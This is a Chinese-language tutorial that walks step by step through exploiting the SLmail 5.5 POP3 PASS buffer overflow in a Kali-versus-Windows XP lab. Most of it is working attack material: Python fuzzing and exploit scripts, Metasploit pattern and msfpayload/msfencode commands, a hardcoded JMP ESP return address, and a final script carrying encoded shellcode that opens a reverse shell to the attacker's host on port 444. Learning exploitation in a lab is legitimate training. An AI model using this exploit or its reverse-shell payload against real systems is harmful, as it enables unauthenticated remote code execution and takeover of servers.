缓冲区溢出是什么?
当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据
成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
POP3 PASS 命令存在缓冲区溢出漏洞 无需身份验证实现远程代码执
软件下载
slmail http://slmail.software.informer.com/5.5/
mona.py https://github.com/corelan/mona
immunity debugger https://www.immunityinc.com/products/debugger/
系统环境
kali 2.0
windows XP sp3
首先默认配置安装好软件,吧mona.py移动至debugger目录下的PyCommands文件夹里
在系统服务里打开 Seattle Lab POP3 Server
在kali中使用nc查看XP机器的110端口,回弹正确的话会有这样
就是测试这里会不会有缓冲区溢出
命令可以有 USER xxx 或者 PASS xxx
可以写个python脚本来实现这个基本功能
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data
s.send("USER test"+"\r\n") data = s.recv(1024) print data
s.send("PASS test\r\n") data = s.recv(1024) print data
s.close() print "\n[*]Done" except: print "\n[*]Could not connect to POP3!"
我们打开 immunity debugger,file->attach->
选择哪个监听110端口的SLmail进程,然后attach
此时程序是被暂停的,右下角的paused可以看出,单击在工具栏上类似播放的按钮,启动程序
然后构造如下脚本测试大概多少字节会溢出
#!/usr/bin/python import socket buffer=["A"] counter=100 while len(buffer) <= 50: buffer.append("A"*counter) counter+=200 for string in buffer: print "[*]Fuzzing PASS with %s bytes" % len(string) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.116.139',110)) s.recv(1024) s.send('USER test'+'\r\n') s.recv(1024) s.send('PASS ' + string + '\r\n') s.send('QUIT'+'\r\n') s.close()
运行一下
2900发送了很久没有结果,说明程序已经崩溃了,回到xp看一下,可以看到程序已经停止,右下角有running变成了paused
把debugger重开,pop3服务重开,然后再attach再running再测试
这时候可以手工测试一下,发个2700字节的
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = "A" * 2700 try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data s.send("USER Xuan"+"\r\n") data = s.recv(1024) print data s.send("PASS " + buffer + "\r\n") data = s.recv(1024) print data s.close() print "\n[*]Done" except: print "\n[*]Could not connect to POP3!"
这时候程序已经崩溃,看一下xp界面
可以看到字节已经覆盖EIP,现在要做的就是要具体到EIP是从第多少个字符开始被覆盖的
这里可以用kali的一个工具生成不带重样的字符串
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_create.rb -l 2700
会得到2700字节的不带重样的字符串
复制进python脚本,把第三个脚本buffer内容改成这串就行
xp那边准备好,运行一下
可以看到EIP的数值是39694438
这里需要注意的是在内存中地址和书写的不太一样,高地址放低位而低地址放高位
所以实际数值是38 44 69 39
换算成ascii码是 8Di9
你可以在文本编辑器里把之前的字符串复制进去然后查找这个的位置然后减一
也可以利用工具计算偏移量
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_offset.rb -q 44396944
这里之前有2606个字符
也就是从2607个开始的覆盖到了EIP的地址
然后写个脚本确认一下是否正确
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = "A"*2606 + "B"*4 + "C"*20 try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) s.send("USER test"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\n[*]Done!." except: print "\n[*]Could not connect to POP3!"
运行
可以看到,本来就写了四个B(ascii是42),刚好填充进EIP的地址,说明之前的实验结果正确
也就是已经可以控制程序下一条执行命令的地址
然后要做的就是把想要的shellcode写入目标地址里,接着需要寻找可写shellcode的空间
刚才在B之后还有C,看上图,C被写在了ESP
构造如下脚本测试ESP的能写多少
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = "A"*2606 + "B"*4 + "C"*(3500-2606-4) try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) s.send("USER test"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\n[*]Done!." except: print "\n[*]Could not connect to POP3!"
3500是构造的数值,2606是A,4是B,运行
EIP依然是精准的四个B,而我们的C在ESP则一大串,在ESP地址右键 Follow in Dump
在左下角查看,找到B和C的交接地方
从01F7A154开始就是ESP的内容地址,一直拉到结束
01F7A2FC就是结束地址,用自带的计算器算一下
十六进制计算结果转为十进制,是424
shellcode一般需要300多字节,也就是说ESP这里完全够放下shellcode
但是在实际操作中,会有一些特别字符, 比如
null byte (0x00) 空字符,用于终止字符串的拷贝操作
return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
等等,还有程序自定义的特殊字符,我们需要测试出这些特殊字符,以免shellcode异常
而这些字符最多只有256个,也就是从00000000到11111111的全部,我们可以一一测试
构造如下脚本
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) badchars = ( "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" + "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" + "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" + "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" + "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" + "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" + "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f" + "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" + "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" + "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" + "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" + "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" + "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" + "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" + "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" + "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) buffer = "A"*2606 + "B"*4 + badchars try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) s.send("USER test"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\n[*]Done!." except: print "\n[*]Could not connect to POP3!"
可以反复测试,在ESP中查看具体,缺少哪个字符,或者到哪停止,替换为别的字符没问题,就代表那个字符有问题,有特殊含义,不能写在shellcode
实验中坏字符为:0x00 0x0D 0x0A
坏字符不多,写入一个shellcode是完全可能的,现在只要把ESP的地址写在EIP,就可以执行shellcode从而拿到shell
然而实际中,ESP的地址不固定,不能写死ESP,这时候需要固定的地址来跳转
比如操作系统的一些模块,有些地址是固定的,不随着任何东西改变,我们可以利用固定地址模块里的 JMP ESP命令跳转到ESP的动态地址
这时候需要用到mona.py
底下输入栏里输入 !mona modules
Rebase代表操作系统重启后内存地址是否发生变化,true代表变化
SafeSEH,ASLR,NXCompat 都是操作系统自带的安全保护机制,true代表是受保护的
OS Dll 代表是否是操作系统的模块,true代表是
我们选择前四列是false,最后一列是true的进程
比如选择slmfc.dll,我们需要查找这个进程有没有JMP ESP指令
因为JMP ESP是汇编指令,计算机并不识别,我们需要转换,回到kali执行命令
因为是十六进制,我们加上\x
执行 !mona find -s "\xff\xe4" -m slmfc.dll
找到19个
如果出现下图这样就换个进程接着找
双击任意一个,在内存数据框中,右键->Disassemble切换为汇编语言
如图,第一个就是我们要的地址 5F4A358F
为了测试这个地址是否可用,我们对这个地址增加一下功能
如图选择第一个选项设置断点,意思是访问到这个地址就终止
接着构造脚本测试
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer="a"*2606 + "\x8F\x35\x4A\x5F" + "C"*400 try: print "[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data s.send("USER Xuan"+"\r\n") data = s.recv(1024) print data s.send("PASS " + buffer + "\r\n") data = s.recv(1024) print data s.close() print "\nDone" except: print "[*]Could not connect to POP3!"
需要注意的是地址是反过来写的,而且需要加\x
没问题的话会这么个结果,提示 在执行这个地址的时候内存断点
这就代表这个地址没问题
接下来我们生成shellcode来替换ESP的内容
为了过目标机防火墙,我们选择生成反向shell
cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类 ./msfpayload win32_reverse LHOST=192.168.116.130 LPORT=444 C
这里还有个问题就是之前说过的坏字符,不过我们可以利用另一个工具来替换,有时候也用来隐藏特征做免杀
./msfpayload win32_reverse LHOST=192.168.116.130 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"
会类似这样
我们将shellcode写入脚本中
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) shellcode=( "\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfd\x6f\x3b" + "\x2d\x83\xeb\xfc\xe2\xf4\x01\x05\xd0\x60\x15\x96\xc4\xd2\x02\x0f" + "\xb0\x41\xd9\x4b\xb0\x68\xc1\xe4\x47\x28\x85\x6e\xd4\xa6\xb2\x77" + "\xb0\x72\xdd\x6e\xd0\x64\x76\x5b\xb0\x2c\x13\x5e\xfb\xb4\x51\xeb" + "\xfb\x59\xfa\xae\xf1\x20\xfc\xad\xd0\xd9\xc6\x3b\x1f\x05\x88\x8a" + "\xb0\x72\xd9\x6e\xd0\x4b\x76\x63\x70\xa6\xa2\x73\x3a\xc6\xfe\x43" + "\xb0\xa4\x91\x4b\x27\x4c\x3e\x5e\xe0\x49\x76\x2c\x0b\xa6\xbd\x63" + "\xb0\x5d\xe1\xc2\xb0\x6d\xf5\x31\x53\xa3\xb3\x61\xd7\x7d\x02\xb9" + "\x5d\x7e\x9b\x07\x08\x1f\x95\x18\x48\x1f\xa2\x3b\xc4\xfd\x95\xa4" + "\xd6\xd1\xc6\x3f\xc4\xfb\xa2\xe6\xde\x4b\x7c\x82\x33\x2f\xa8\x05" + "\x39\xd2\x2d\x07\xe2\x24\x08\xc2\x6c\xd2\x2b\x3c\x68\x7e\xae\x2c" + "\x68\x6e\xae\x90\xeb\x45\x3d\xc7\x4f\xaf\x9b\x07\x3a\x91\x9b\x3c" + "\xb2\xcc\x68\x07\xd7\xd4\x57\x0f\x6c\xd2\x2b\x05\x2b\x7c\xa8\x90" + "\xeb\x4b\x97\x0b\x5d\x45\x9e\x02\x51\x7d\xa4\x46\xf7\xa4\x1a\x05" + "\x7f\xa4\x1f\x5e\xfb\xde\x57\xfa\xb2\xd0\x03\x2d\x16\xd3\xbf\x43" + "\xb6\x57\xc5\xc4\x90\x86\x95\x1d\xc5\x9e\xeb\x90\x4e\x05\x02\xb9" + "\x60\x7a\xaf\x3e\x6a\x7c\x97\x6e\x6a\x7c\xa8\x3e\xc4\xfd\x95\xc2" + "\xe2\x28\x33\x3c\xc4\xfb\x97\x90\xc4\x1a\x02\xbf\x53\xca\x84\xa9" + "\x42\xd2\x88\x6b\xc4\xfb\x02\x18\xc7\xd2\x2d\x07\xcb\xa7\xf9\x30" + "\x68\xd2\x2b\x90\xeb\x2d" ) buffer="a"*2606 + "\x8F\x35\x4A\x5F" + "\x90" * 8 + shellcode try: print "[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data s.send("USER Xuan"+"\r\n") data = s.recv(1024) print data s.send("PASS " + buffer + "\r\n") data = s.recv(1024) print data s.close() print "\nDone" except: print "[*]Could not connect to POP3!"
这里加上了8个\x90,\x90在汇编是无操作的意思,为了保证shellcode的有效性,如果跳转过来第一位就是shellcode的内容,有可能前几位会被擦掉,纯属经验之谈
现在在xp不用开任何监听软件,打开slmail的服务就可以
我们在本机监听端口444,然后运行上边的脚本,没问题就会反弹一个shell
而且可以反复溢出反复注入
还需要注意的一点是,如果你是新版本metasploit,那么shellcode没问题,如果是旧版本,它的shellcode退出方式是exitprocess,会导致程序崩溃,生成时需要加上 EXITFUNC=thread
新版本的metasploit已经没有这个问题
这个漏洞很老,适合新手学习,整个过程需要反复的验证可靠性,不失是一个经典溢出案例
enjoy it